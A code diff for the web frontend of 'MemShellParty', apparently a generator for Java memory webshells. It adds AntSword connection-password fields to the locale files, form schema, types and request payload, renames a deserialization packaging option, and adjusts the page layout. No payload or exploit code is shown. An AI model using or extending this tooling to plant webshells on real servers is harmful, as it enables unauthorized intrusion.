||||
);
|
||||
}
|
||||
|
||||
@@ -39,7 +39,9 @@
|
||||
"behinderEncryptType": "Encrypt Type",
|
||||
"behinderDefaultEncryptType": "Default",
|
||||
"paramName": "Param Name",
|
||||
"suo5Header": "AdvanceConfiguration -> Request Header"
|
||||
"suo5Header": "AdvanceConfiguration -> Request Header",
|
||||
"antSwordPass": "Shell pwd",
|
||||
"httpHeader": "HTTP -> HTTP HEADERS"
|
||||
},
|
||||
"packageConfig": {
|
||||
"title": "Package Method",
|
||||
@@ -57,7 +59,7 @@
|
||||
"Velocity": "Velocity",
|
||||
"Groovy": "Groovy",
|
||||
"AgentJar": "AgentJar",
|
||||
"Deserialize": "Deserialize(Only CB4, 1.9.x)",
|
||||
"JavaDeserialize": "JavaDeserialize",
|
||||
"ScriptEngine": "ScriptEngine",
|
||||
"XxlJob": "XXL-JOB Executor",
|
||||
"JinJava": "JinJava",
|
||||
|
||||
@@ -39,7 +39,9 @@
|
||||
"behinderEncryptType": "加密类型",
|
||||
"behinderDefaultEncryptType": "默认",
|
||||
"paramName": "请求参数",
|
||||
"suo5Header": "高级配置 -> 请求头"
|
||||
"suo5Header": "高级配置 -> 请求头",
|
||||
"antSwordPass": "连接密码",
|
||||
"httpHeader": "请求信息 -> HTTP HEADERS"
|
||||
},
|
||||
"packageConfig": {
|
||||
"title": "打包方式",
|
||||
@@ -52,7 +54,7 @@
|
||||
"BeanShell": "BeanShell 表达式",
|
||||
"Aviator": "Aviator 表达式",
|
||||
"JXPath": "JXPath 表达式",
|
||||
"Deserialize": "反序列化(仅支持 CB4, 1.9.x)",
|
||||
"JavaDeserialize": "Java反序列化",
|
||||
"ScriptEngine": "内置脚本引擎",
|
||||
"Rhino": "Rhino 脚本引擎"
|
||||
}
|
||||
|
||||
@@ -14,8 +14,8 @@ function RootComponent() {
|
||||
return (
|
||||
<ThemeProvider defaultTheme="system" storageKey="vite-ui-theme">
|
||||
<Toaster />
|
||||
<div className="min-h-screen">
|
||||
<header className="border-b px-4 py-3">
|
||||
<div className="flex flex-col h-screen">
|
||||
<header className="sticky top-0 z-50 border-b bg-background px-4 py-3">
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="flex items-center">
|
||||
<h2 className="text-lg font-semibold">MemShellParty - JavaWeb</h2>
|
||||
@@ -46,7 +46,9 @@ function RootComponent() {
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<Outlet />
|
||||
<main className="flex-1 overflow-auto">
|
||||
<Outlet />
|
||||
</main>
|
||||
</div>
|
||||
</ThemeProvider>
|
||||
);
|
||||
|
||||
@@ -44,6 +44,7 @@ function IndexComponent() {
|
||||
godzillaKey: "key",
|
||||
commandParamName: "cmd",
|
||||
behinderPass: "pass",
|
||||
antSwordPass: "ant",
|
||||
headerName: "User-Agent",
|
||||
headerValue: "test",
|
||||
injectorClassName: "",
|
||||
|
||||
@@ -12,6 +12,7 @@ export const formSchema = z.object({
|
||||
godzillaPass: z.optional(z.string()),
|
||||
godzillaKey: z.optional(z.string()),
|
||||
behinderPass: z.optional(z.string()),
|
||||
antSwordPass: z.optional(z.string()),
|
||||
commandParamName: z.optional(z.string()),
|
||||
headerName: z.optional(z.string()),
|
||||
headerValue: z.optional(z.string()),
|
||||
|
||||
@@ -14,6 +14,7 @@ export interface ShellToolConfig {
|
||||
godzillaKey?: string;
|
||||
commandParamName?: string;
|
||||
behinderPass?: string;
|
||||
antSwordPass?: string;
|
||||
headerName?: string;
|
||||
headerValue?: string;
|
||||
}
|
||||
@@ -44,6 +45,13 @@ export interface Suo5ShellToolConfig {
|
||||
headerValue?: string;
|
||||
}
|
||||
|
||||
export interface AntSwordShellToolConfig {
|
||||
shellClassName?: string;
|
||||
pass?: string;
|
||||
headerName?: string;
|
||||
headerValue?: string;
|
||||
}
|
||||
|
||||
export interface InjectorConfig {
|
||||
className?: string;
|
||||
classInheritance?: string;
|
||||
@@ -82,6 +90,6 @@ export interface GenerateResult {
|
||||
injectorSize: number;
|
||||
injectorBytesBase64Str: string;
|
||||
shellConfig: ShellConfig;
|
||||
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig;
|
||||
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig | AntSwordShellToolConfig;
|
||||
injectorConfig: InjectorConfig;
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ export function transformToPostData(formValue: FormSchema) {
|
||||
godzillaKey: formValue.godzillaKey,
|
||||
commandParamName: formValue.commandParamName,
|
||||
behinderPass: formValue.behinderPass,
|
||||
antSwordPass: formValue.antSwordPass,
|
||||
headerName: formValue.headerName,
|
||||
headerValue: formValue.headerValue,
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user